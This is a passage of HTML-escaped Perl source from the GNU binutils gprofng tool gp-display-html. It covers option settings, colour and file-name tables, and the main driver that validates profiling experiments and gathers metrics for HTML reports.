my $g_header_lines;

my @g_html_function_name = ();

#------------------------------------------------------------------------------
# TBD: This variable may not be needed and replaced by tp_value
my $thresh = 0;
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Define the driver command, tool name and version number.
#------------------------------------------------------------------------------
$driver_cmd       = &quot;gprofng display html&quot;;
$tool_name        = &quot;gp-display-html&quot;;
#$binutils_version = &quot;2.38.50&quot;;
$binutils_version = &quot;2.42&quot;;
$version_info     = $tool_name . &quot; GNU binutils version &quot; . $binutils_version;

#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Define several key data structures.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# This table has the settings of the variables the user may set.
#------------------------------------------------------------------------------
my %g_user_settings =
  (
    verbose              =&gt; { option =&gt; &quot;--verbose&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    debug                =&gt; { option =&gt; &quot;--debug&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;size&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    warnings             =&gt; { option =&gt; &quot;--warnings&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot; ,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    nowarnings           =&gt; { option =&gt; &quot;--nowarnings&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    quiet                =&gt; { option =&gt; &quot;--quiet&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    output               =&gt; { option =&gt; &quot;-o&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;path&quot;,
			      current_value =&gt; undef,  defined =&gt; $FALSE},

    overwrite            =&gt; { option =&gt; &quot;-O&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;path&quot;,
			      current_value =&gt; undef,  defined =&gt; $FALSE},

    calltree             =&gt; { option =&gt; &quot;-ct&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    func_limit           =&gt; { option =&gt; &quot;-fl&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;pinteger&quot;,
			      current_value =&gt; 500,    defined =&gt; $FALSE},

    highlight_percentage =&gt; { option =&gt; &quot;--highlight-percentage&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;pfloat&quot;,
			      current_value   =&gt; 90.0, defined =&gt; $FALSE},

    hp                   =&gt; { option =&gt; &quot;-hp&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;pfloat&quot;,
			      current_value =&gt; 90.0,   defined =&gt; $FALSE},

    threshold_percentage =&gt; { option =&gt; &quot;-tp&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;pfloat&quot;,
			      current_value =&gt; 100.0,  defined =&gt; $FALSE},

    default_metrics      =&gt; { option =&gt; &quot;-dm&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;onoff&quot;,
			      current_value =&gt; &quot;off&quot;,  defined =&gt; $FALSE},

    ignore_metrics       =&gt; { option =&gt; &quot;-im&quot;,
			      no_of_arguments =&gt; 1,
			      data_type =&gt; &quot;metric_names&quot;,
			      current_value =&gt; undef,  defined =&gt; $FALSE},
  );

#------------------------------------------------------------------------------
# Convenience.  These map the on/off value to $TRUE/$FALSE to make the code
# easier to read.  For example: &quot;if ($g_verbose)&quot; as opposed to the following:
# &quot;if ($verbose_setting eq &quot;on&quot;).
#------------------------------------------------------------------------------
my $g_verbose  = $FALSE;
my $g_debug    = $FALSE;
my $g_warnings = $TRUE;
my $g_quiet    = $FALSE;

#------------------------------------------------------------------------------
# Since ARGV is modified when parsing the options, a clean copy is used to
# print the original ARGV values in case of a warning, or error.
#------------------------------------------------------------------------------
my @CopyOfARGV = ();

my %g_debug_size =
  (
    &quot;on&quot;  =&gt; $FALSE,
    &quot;s&quot;   =&gt; $FALSE,
    &quot;m&quot;   =&gt; $FALSE,
    &quot;l&quot;   =&gt; $FALSE,
    &quot;xl&quot;  =&gt; $FALSE,
  );

my %local_system_config =
  (
    kernel_name       =&gt; &quot;undefined&quot;,
    nodename          =&gt; &quot;undefined&quot;,
    kernel_release    =&gt; &quot;undefined&quot;,
    kernel_version    =&gt; &quot;undefined&quot;,
    machine           =&gt; &quot;undefined&quot;,
    processor         =&gt; &quot;undefined&quot;,
    hardware_platform =&gt; &quot;undefined&quot;,
    operating_system  =&gt; &quot;undefined&quot;,
    hostname_current  =&gt; &quot;undefined&quot;,
  );

#------------------------------------------------------------------------------
# Note that we use single quotes here, because regular expressions wreak
# havoc otherwise.
#------------------------------------------------------------------------------

my %g_arch_specific_settings =
  (
    arch_supported  =&gt; $FALSE,
    arch            =&gt; &#039;undefined&#039;,
    regex           =&gt; &#039;undefined&#039;,
    subexp          =&gt; &#039;undefined&#039;,
    linksubexp      =&gt; &#039;undefined&#039;,
  );

my %g_locale_settings = (
  LANG              =&gt; &quot;en_US.UTF-8&quot;,
  decimal_separator =&gt; &quot;\\.&quot;,
  covert_to_dot     =&gt; $FALSE
);

#------------------------------------------------------------------------------
# See this page for a nice overview with the colors:
# https://www.w3schools.com/colors/colors_groups.asp
#------------------------------------------------------------------------------

my %g_html_color_scheme = (
  &quot;control_flow&quot;  =&gt; &quot;Brown&quot;,
  &quot;target_function_name&quot; =&gt; &quot;Red&quot;,
  &quot;non_target_function_name&quot; =&gt; &quot;BlueViolet&quot;,
  &quot;background_color_hot&quot; =&gt; &quot;PeachPuff&quot;,
  &quot;background_color_lukewarm&quot; =&gt; &quot;LemonChiffon&quot;,
  &quot;link_outside_range&quot; =&gt; &quot;Crimson&quot;,
  &quot;error_message&quot; =&gt; &quot;LightPink&quot;,
  &quot;background_color_page&quot; =&gt; &quot;White&quot;,
#  &quot;background_color_page&quot; =&gt; &quot;LightGray&quot;,
  &quot;background_selected_sort&quot; =&gt; &quot;LightSlateGray&quot;,
  &quot;index&quot; =&gt; &quot;Lavender&quot;,
);

#------------------------------------------------------------------------------
# These are the base names for the HTML files that are generated.
#------------------------------------------------------------------------------
my %g_html_base_file_name = (
  &quot;caller_callee&quot;  =&gt; &quot;caller-callee&quot;,
  &quot;disassembly&quot; =&gt; &quot;dis&quot;,
  &quot;experiment_info&quot;  =&gt; &quot;experiment-info&quot;,
  &quot;function_view&quot;  =&gt; &quot;function-view-sorted&quot;,
  &quot;index&quot; =&gt; &quot;index&quot;,
  &quot;source&quot; =&gt; &quot;src&quot;,
  &quot;warnings&quot; =&gt; &quot;warnings&quot;,
);

#------------------------------------------------------------------------------
# Introducing main() is cosmetic, but helps with the scoping of variables.
#------------------------------------------------------------------------------
  main ();

  exit (0);

#------------------------------------------------------------------------------
# This is the driver part of the program.
#------------------------------------------------------------------------------
sub main
{
  my $subr_name = get_my_name ();

  @CopyOfARGV = @ARGV;

#------------------------------------------------------------------------------
# The name of the configuration file.
#------------------------------------------------------------------------------
  my $rc_file_name = &quot;.gp-display-html.rc&quot;;

#------------------------------------------------------------------------------
# OS commands executed and search paths.
#
# TBD: check if elfdump should be here too (most likely not though)
#------------------------------------------------------------------------------
  my @selected_os_cmds = qw (rm cat hostname locale which printenv uname
			     readelf mkdir);

  my @search_paths_os_cmds = qw (
    /usr/bin
    /bin
    /usr/local/bin
    /usr/local/sbin
    /usr/sbin
    /sbin
  );

#------------------------------------------------------------------------------
# TBD: Eliminate these.
#------------------------------------------------------------------------------
  my $ARCHIVES_MAP_NAME;
  my $ARCHIVES_MAP_VADDR;

#------------------------------------------------------------------------------
# Local structures (hashes and arrays).
#------------------------------------------------------------------------------
  my @exp_dir_list = ();
  my @metrics_data;

  my %function_address_info = ();
  my $function_address_info_ref;

  my @function_info = ();
  my $function_info_ref;

  my %function_address_and_index = ();
  my $function_address_and_index_ref;

  my %addressobjtextm = ();
  my $addressobjtextm_ref;

  my %addressobj_index = ();
  my $addressobj_index_ref;

  my %LINUX_vDSO = ();
  my $LINUX_vDSO_ref;

  my %function_view_structure = ();
  my $function_view_structure_ref;

  my %elf_rats = ();
  my $elf_rats_ref;

#------------------------------------------------------------------------------
# Local variables.
#------------------------------------------------------------------------------
  my $abs_path_outputdir;
  my $archive_dir_not_empty;
  my $base_va_executable;
  my $executable_name;
  my $found_exp_dir;
  my $ignore_value;
  my $msg;
  my $number_of_metrics;
  my $va_executable_in_hex;

  my $failed_command_mappings;

  my $script_pc_metrics;
  my $dir_check_errors;
  my $consistency_errors;
  my $outputdir;
  my $return_code;

  my $decimal_separator;
  my $convert_to_dot;
  my $architecture_supported;
  my $elf_arch;
  my $elf_support;
  my $home_dir;
  my $elf_loadobjects_found;

  my $rc_file_paths_ref;
  my @rc_file_paths = ();
  my $rc_file_errors = 0;

  my @sort_fields = ();
  my $summary_metrics;
  my $call_metrics;
  my $user_metrics;
  my $system_metrics;
  my $wall_metrics;
  my $detail_metrics;
  my $detail_metrics_system;

  my $html_test;
  my @experiment_data;
  my $exp_info_file;
  my $exp_info_ref;
  my @exp_info;

  my $pretty_dir_list;

  my %metric_value       = ();
  my %metric_description = ();
  my %metric_description_reversed = ();
  my %metric_found = ();
  my %ignored_metrics = ();

  my $metric_value_ref;
  my $metric_description_ref;
  my $metric_found_ref;
  my $ignored_metrics_ref;

  my @table_execution_stats = ();
  my $table_execution_stats_ref;

  my $html_first_metric_file_ref;
  my $html_first_metric_file;

  my $arch;
  my $subexp;
  my $linksubexp;

  my $setting_for_LANG;
  my $time_percentage_multiplier;
  my $process_all_functions;

  my $selected_archive;

#------------------------------------------------------------------------------
# If no options are given, print the help info and exit.
#------------------------------------------------------------------------------
  if ($#ARGV == -1)
    {
      $ignore_value = print_help_info ();
      return (0);
    }

#------------------------------------------------------------------------------
# This part is like a preamble.  Before we continue we need to figure out some
# things that are needed later on.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Store the absolute path of the command executed.
#------------------------------------------------------------------------------
  my $location_gp_command = $0;

#------------------------------------------------------------------------------
# Get the ball rolling. Parse and interpret the options.  Some first checks
# are performed.
#
# Instead of bailing out on the first user error, we capture all warnings and
# errors.  The warnings, if any, will be printed once the command line has
# been parsed and verified.  Execution continues.
#
# Any error(s) accumulated in this phase will be printed after the command
# line has been parsed and verified.  Execution is then terminated.
#
# In the remainder, any error encountered will immediately terminate the
# execution because we can&#039;t guarantee the remaining code will work up to
# some point.
#------------------------------------------------------------------------------
  my ($found_exp_dir_ref, $exp_dir_list_ref) = parse_and_check_user_options ();

  $found_exp_dir = ${ $found_exp_dir_ref };

  if ($found_exp_dir)
    {
      @exp_dir_list = @{ $exp_dir_list_ref };
    }
  else
    {
      $msg = &quot;the list with experiments is either missing, or incorrect&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# The final settings for verbose, debug, warnings and quiet are known and the
# gp_message() subroutine is aware of these.
#------------------------------------------------------------------------------
  $msg = &quot;parsing of the user options completed&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# The user options have been taken in.  Check for validity and consistency.
#------------------------------------------------------------------------------
  $msg = &quot;process user options&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  ($ignored_metrics_ref, $outputdir,
   $time_percentage_multiplier, $process_all_functions, $exp_dir_list_ref) =
					process_user_options (\@exp_dir_list);

  @exp_dir_list    = @{ $exp_dir_list_ref };
  %ignored_metrics = %{$ignored_metrics_ref};

#------------------------------------------------------------------------------
# The next subroutine is executed early to ensure the OS commands we need are
# available.
#
# This subroutine stores the commands and the full path names as an
# associative array called &quot;g_mapped_cmds&quot;.  The command is the key and the
# value is the full path.  For example: (&quot;uname&quot;, /usr/bin/uname).
#------------------------------------------------------------------------------
  gp_message (&quot;debug&quot;, $subr_name, &quot;verify the OS commands&quot;);
  $failed_command_mappings = check_and_define_cmds (\@selected_os_cmds,
						    \@search_paths_os_cmds);

  if ($failed_command_mappings == 0)
    {
      $msg = &quot;successfully verified the OS commands&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Time to check if any warnings and/or errors have been generated.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# We have completed all the upfront checks.  Print any warnings and errors.
# If there are already any errors, execution is terminated.  As execution
# continues, errors may occur and they are typically fatal.
#------------------------------------------------------------------------------
  if ($g_debug)
    {
      $msg = &quot;internal settings after option processing&quot;;
      $ignore_value = print_table_user_settings (&quot;diag&quot;, $msg);
    }

#------------------------------------------------------------------------------
# Terminate execution in case fatal errors have occurred.
#------------------------------------------------------------------------------
  if ( $g_total_error_count &gt; 0)
    {
      my $msg = &quot;the current values for the user controllable settings&quot;;
      print_user_settings (&quot;debug&quot;, $msg);

      gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
    }
  else
    {
      my $msg = &quot;after parsing the user options, the final values are&quot;;
      print_user_settings (&quot;debug&quot;, $msg);
    }

#------------------------------------------------------------------------------
# If no option is given for the output directory, pick a default.  Otherwise,
# if the output directory exists, wipe it clean in case the -O option is used.
# If not, raise an error because the -o option does not overwrite an existing
# directory.
# Also in case of other errors, the execution is terminated.
#------------------------------------------------------------------------------
  $outputdir = set_up_output_directory ();
  $abs_path_outputdir = Cwd::cwd () . &quot;/&quot; . $outputdir;

  $msg = &quot;the output directory is $outputdir&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Get the home directory and the locations for the configuration file on the
# current system.
#------------------------------------------------------------------------------
  ($home_dir, $rc_file_paths_ref) = get_home_dir_and_rc_path ($rc_file_name);

  @rc_file_paths = @{ $rc_file_paths_ref };

  $msg = &quot;the home directory is $home_dir&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# TBD: de-activated until this feature has been fully implemented.
#------------------------------------------------------------------------------
##  $msg =  &quot;the search path for the rc file is @rc_file_paths&quot;;
##  gp_message (&quot;debug&quot;, $subr_name, $msg);
##  $pretty_dir_list = build_pretty_dir_list (\@rc_file_paths);

#------------------------------------------------------------------------------
# Get the ball rolling.  Parse and interpret the configuration file (if any)
# and the command line options.
#
# Note that the verbose, debug, and quiet options can be set in this file.
# It is a deliberate choice to ignore these for now.  The assumption is that
# the user will not be happy if we ignore the command line settings for a
# while.
#------------------------------------------------------------------------------
  $msg = &quot;processing of the rc file has been disabled for now&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

# Temporarily disabled
# print_table_user_settings (&quot;debugXL&quot;, &quot;before function process_rc_file&quot;);
# $rc_file_errors = process_rc_file ($rc_file_name, $rc_file_paths_ref);
# if ($rc_file_errors != 0)
# {
#   $message = &quot;fatal errors in file $rc_file_name encountered&quot;;
#   gp_message (&quot;debugXL&quot;, $subr_name, $message);
# }
# print_table_user_settings (&quot;debugXL&quot;, &quot;after function process_rc_file&quot;);

#------------------------------------------------------------------------------
# Print a list with the experiment directory names
#------------------------------------------------------------------------------
  $pretty_dir_list = build_pretty_dir_list (\@exp_dir_list);

  my $plural = ($#exp_dir_list &gt; 0) ? &quot;directories are&quot; : &quot;directory is&quot;;

  $msg = &quot;the experiment &quot; . $plural . &quot;:&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);
  gp_message (&quot;verbose&quot;, $subr_name, $pretty_dir_list);

#------------------------------------------------------------------------------
# Set up the first entry with the meta data for the experiments.  This field
# contains the absolute paths to the experiment directories.
#------------------------------------------------------------------------------
  for my $exp_dir (@exp_dir_list)
    {
     my ($filename, $directory_path, $ignore_suffix) = fileparse ($exp_dir);
     gp_message (&quot;debug&quot;, $subr_name, &quot;exp_dir = $exp_dir&quot;);
     gp_message (&quot;debug&quot;, $subr_name, &quot;filename = $filename&quot;);
     gp_message (&quot;debug&quot;, $subr_name, &quot;directory_path = $directory_path&quot;);
     $g_exp_dir_meta_data{$filename}{&quot;directory_path&quot;} = $directory_path;
    }

#------------------------------------------------------------------------------
# TBD:
# This subroutine may be overkill.  See what is really needed here and remove
# everything else.
#
# Upon return, one directory has been selected to be used in the remainder.
# This is not always the correct thing to do, but is the same as the original
# code.  In due time this should be addressed though.
#------------------------------------------------------------------------------
  ($archive_dir_not_empty, $selected_archive, $elf_rats_ref) =
				check_validity_exp_dirs (\@exp_dir_list);

  %elf_rats = %{$elf_rats_ref};

  $msg = &quot;the experiment directories have been verified and are valid&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Now that we know the map.xml file(s) are present, we can scan these and get
# the required information.  This includes setting the base virtual address.
#------------------------------------------------------------------------------
  $ignore_value = determine_base_virtual_address ($exp_dir_list_ref);

#------------------------------------------------------------------------------
# Check whether the experiment directories are consistent.
#------------------------------------------------------------------------------
  ($consistency_errors, $executable_name) =
			verify_consistency_experiments ($exp_dir_list_ref);

  if ($consistency_errors == 0)
    {
      $msg = &quot;the experiment directories are consistent&quot;;
      gp_message (&quot;verbose&quot;, $subr_name, $msg);
    }
  else
    {
      $msg  = &quot;the number of consistency errors detected: $consistency_errors&quot;;
      gp_message (&quot;abort&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# The directories are consistent.  We can now set the base virtual address of
# the executable.
#------------------------------------------------------------------------------
  $base_va_executable =
		$g_exp_dir_meta_data{$selected_archive}{&quot;va_base_in_hex&quot;};

  $msg = &quot;executable_name    = &quot; . $executable_name;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;selected_archive   = &quot; . $selected_archive;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;base_va_executable = &quot; . $base_va_executable;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# The $GP_DISPLAY_TEXT tool is critical and has to be available in order to
# proceed.
# This subroutine only returns a value if the tool can be found.
#------------------------------------------------------------------------------
  $g_path_to_tools = ${ check_availability_tool (\$location_gp_command)};

  $GP_DISPLAY_TEXT = $g_path_to_tools . $GP_DISPLAY_TEXT;

  $msg = &quot;updated GP_DISPLAY_TEXT = $GP_DISPLAY_TEXT&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Check if $GP_DISPLAY_TEXT is executable for user, group, and other.
# If not, print a warning only, since this may not be fatal but could
# potentially lead to issues later on.
#------------------------------------------------------------------------------
  if (not is_file_executable ($GP_DISPLAY_TEXT))
    {
      $msg  = &quot;file $GP_DISPLAY_TEXT is not executable for user, group, and&quot;;
      $msg .= &quot; other&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Find out what the decimal separator is, as set by the user.
#------------------------------------------------------------------------------
  ($return_code, $decimal_separator, $convert_to_dot) =
                                                determine_decimal_separator ();

  if ($return_code == 0)
    {
      $msg  = &quot;decimal separator is $decimal_separator&quot;;
      $msg .= &quot; (conversion to dot is &quot;;
      $msg .= ($convert_to_dot == $TRUE ? &quot;enabled&quot; : &quot;disabled&quot;) . &quot;)&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }
  else
    {
      $msg  = &quot;the decimal separator cannot be determined -&quot;;
      $msg .= &quot; set to $decimal_separator&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Collect and store the system information.
#------------------------------------------------------------------------------
  $msg = &quot;collect system information and adapt settings&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $return_code = get_system_config_info ();

#------------------------------------------------------------------------------
# The 3 variables below are used in the remainder.
#
# The output from &quot;uname -p&quot; is recommended to be used for the ISA.
#------------------------------------------------------------------------------
  my $hostname_current = $local_system_config{hostname_current};
  my $arch_uname_s     = $local_system_config{kernel_name};
  my $arch_uname       = $local_system_config{processor};

  gp_message (&quot;debug&quot;, $subr_name, &quot;set hostname_current = $hostname_current&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;set arch_uname_s     = $arch_uname_s&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;set arch_uname       = $arch_uname&quot;);

#------------------------------------------------------------------------------
# This function also sets the values in &quot;g_arch_specific_settings&quot;.  This
# includes several definitions of regular expressions.
#------------------------------------------------------------------------------
  ($architecture_supported, $elf_arch, $elf_support) =
		set_system_specific_variables ($arch_uname, $arch_uname_s);

  $msg = &quot;architecture_supported = $architecture_supported&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;elf_arch               = $elf_arch&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;elf_support            = &quot;.($elf_arch ? &quot;TRUE&quot; : &quot;FALSE&quot;);
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  for my $feature (sort keys %g_arch_specific_settings)
    {
      $msg  = &quot;g_arch_specific_settings{$feature} = &quot;;
      $msg .= $g_arch_specific_settings{$feature};
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  $arch       = $g_arch_specific_settings{&quot;arch&quot;};
  $subexp     = $g_arch_specific_settings{&quot;subexp&quot;};
  $linksubexp = $g_arch_specific_settings{&quot;linksubexp&quot;};

  $g_locale_settings{&quot;LANG&quot;} =  get_LANG_setting ();

  $msg = &quot;after get_LANG_setting: LANG = $g_locale_settings{&#039;LANG&#039;}&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Temporarily reset selected settings since these are not yet implemented.
#------------------------------------------------------------------------------
  $ignore_value = reset_selected_settings ();

#------------------------------------------------------------------------------
# TBD: Revisit. Is this really necessary?
#------------------------------------------------------------------------------

  ($executable_name, $va_executable_in_hex) =
				check_loadobjects_are_elf ($selected_archive);
  $elf_loadobjects_found = $TRUE;

# TBD: Hack and those ARCHIVES_ names can be eliminated
  $ARCHIVES_MAP_NAME  = $executable_name;
  $ARCHIVES_MAP_VADDR = $va_executable_in_hex;

  $msg = &quot;hack ARCHIVES_MAP_NAME  = $ARCHIVES_MAP_NAME&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;hack ARCHIVES_MAP_VADDR = $ARCHIVES_MAP_VADDR&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  $msg  = &quot;after call to check_loadobjects_are_elf forced&quot;;
  $msg .= &quot; elf_loadobjects_found = $elf_loadobjects_found&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  $g_html_credits_line = ${ create_html_credits () };

  $msg = &quot;g_html_credits_line = $g_html_credits_line&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Add a &quot;/&quot; to simplify the construction of path names in the remainder.
#
# TBD: Push this into a subroutine(s).
#------------------------------------------------------------------------------
  $outputdir = append_forward_slash ($outputdir);

  gp_message (&quot;debug&quot;, $subr_name, &quot;prepared outputdir = $outputdir&quot;);

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# ******* TBD: e.system not available on Linux!!
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

##  my $summary_metrics       = &#039;e.totalcpu&#039;;
  $detail_metrics        = &#039;e.totalcpu&#039;;
  $detail_metrics_system = &#039;e.totalcpu:e.system&#039;;
  $call_metrics          = &#039;a.totalcpu&#039;;

  my $cmd_options;
  my $metrics_cmd;

  my $outfile1      = $outputdir   .&quot;metrics&quot;;
  my $outfile2      = $outputdir . &quot;metrictotals&quot;;
  my $gp_error_file = $outputdir . $g_gp_error_logfile;

#------------------------------------------------------------------------------
# Execute the $GP_DISPLAY_TEXT tool with the appropriate options.  The goal is
# to get all the output in files $outfile1 and $outfile2.  These are then
# parsed.
#------------------------------------------------------------------------------
  $msg = &quot;gather the metrics data from the experiments&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $return_code = get_metrics_data (\@exp_dir_list, $outputdir, $outfile1,
				   $outfile2, $gp_error_file);

  if ($return_code != 0)
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
    }

#------------------------------------------------------------------------------
# TBD: Test this code
#------------------------------------------------------------------------------
  $msg = &quot;unable to open metric value data file $outfile1 for reading:&quot;;
  open (METRICS, &quot;&lt;&quot;, $outfile1)
    or die ($subr_name . &quot; - &quot; . $msg . &quot; &quot; . $!);

  $msg = &quot;opened file $outfile1 for reading&quot;;
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile1 for reading&quot;);

  chomp (@metrics_data = &lt;METRICS&gt;);
  close (METRICS);

  for my $i (keys @metrics_data)
    {
      $msg = &quot;metrics_data[$i] = &quot; . $metrics_data[$i];
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Process the generated metrics data.
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;default_metrics&quot;}{&quot;current_value&quot;} eq &quot;off&quot;)

#------------------------------------------------------------------------------
# The metrics will be derived from the experiments.
#------------------------------------------------------------------------------
    {
      gp_message (&quot;verbose&quot;, $subr_name, &quot;Process the metrics data&quot;);

      ($metric_value_ref, $metric_description_ref, $metric_found_ref,
       $user_metrics, $system_metrics, $wall_metrics,
       $summary_metrics, $detail_metrics, $detail_metrics_system, $call_metrics
       ) = process_metrics_data ($outfile1, $outfile2, \%ignored_metrics);

      %metric_value                = %{ $metric_value_ref };
      %metric_description          = %{ $metric_description_ref };
      %metric_found                = %{ $metric_found_ref };
      %metric_description_reversed = reverse %metric_description;

      $msg = &quot;after the call to process_metrics_data&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      for my $metric (sort keys %metric_value)
        {
          $msg = &quot;metric_value{$metric} = &quot; . $metric_value{$metric};
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
      for my $metric (sort keys %metric_description)
        {
          $msg  = &quot;metric_description{$metric} =&quot;;
          $msg .= &quot; &quot; . $metric_description{$metric};
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;user_metrics   = $user_metrics&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;system_metrics = $system_metrics&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;wall_metrics   = $wall_metrics&quot;);
    }
  else
    {
#------------------------------------------------------------------------------
# A default set of metrics will be used.
#
# TBD: These should be OS dependent.
#------------------------------------------------------------------------------
      $msg = &quot;select the set of default metrics&quot;;
      gp_message (&quot;verbose&quot;, $subr_name, $msg);

      ($metric_description_ref, $metric_found_ref, $summary_metrics,
       $detail_metrics, $detail_metrics_system, $call_metrics
       ) = set_default_metrics ($outfile1, \%ignored_metrics);


      %metric_description          = %{ $metric_description_ref };
      %metric_found                = %{ $metric_found_ref };
      %metric_description_reversed = reverse %metric_description;

      $msg = &quot;after the call to set_default_metrics&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

    }

  $number_of_metrics = split (&quot;:&quot;, $summary_metrics);

  $msg = &quot;summary_metrics       = &quot; . $summary_metrics;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;detail_metrics        = &quot; . $detail_metrics;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;detail_metrics_system = &quot; . $detail_metrics_system;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;call_metrics          = &quot; . $call_metrics;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;number_of_metrics     = &quot; . $number_of_metrics;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# TBD Find a way to better handle this situation:
#------------------------------------------------------------------------------
  for my $im (keys %metric_found)
    {
      $msg = &quot;metric_found{$im} = &quot; . $metric_found{$im};
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }
  for my $im (keys %ignored_metrics)
    {
      if (not exists ($metric_found{$im}))
        {
          $msg  = &quot;user requested ignored metric (-im) $im does not exist in&quot;;
          $msg .= &quot; collected metrics&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
    }

#------------------------------------------------------------------------------
# Get the information on the experiments.
#------------------------------------------------------------------------------
  $msg = &quot;generate the experiment information&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  my $experiment_data_ref = get_experiment_info (\$outputdir, \@exp_dir_list);
  @experiment_data = @{ $experiment_data_ref };

  for my $i (sort keys @experiment_data)
    {
      my $msg = &quot;i = $i &quot; . $experiment_data[$i]{&quot;exp_id&quot;} . &quot; =&gt; &quot; .
                $experiment_data[$i]{&quot;exp_name_full&quot;};
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }

  $experiment_data_ref = process_experiment_info ($experiment_data_ref);
  @experiment_data = @{ $experiment_data_ref };

  for my $i (sort keys @experiment_data)
    {
      for my $fields (sort keys %{ $experiment_data[$i] })
        {
          my $msg = &quot;i = $i experiment_data[$i]{$fields} = &quot; .
                    $experiment_data[$i]{$fields};
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
    }

  @g_html_experiment_stats = @{ create_exp_info (\@exp_dir_list,
						 \@experiment_data) };

  $table_execution_stats_ref = html_generate_exp_summary (\$outputdir,
							  \@experiment_data);
  @table_execution_stats = @{ $table_execution_stats_ref };

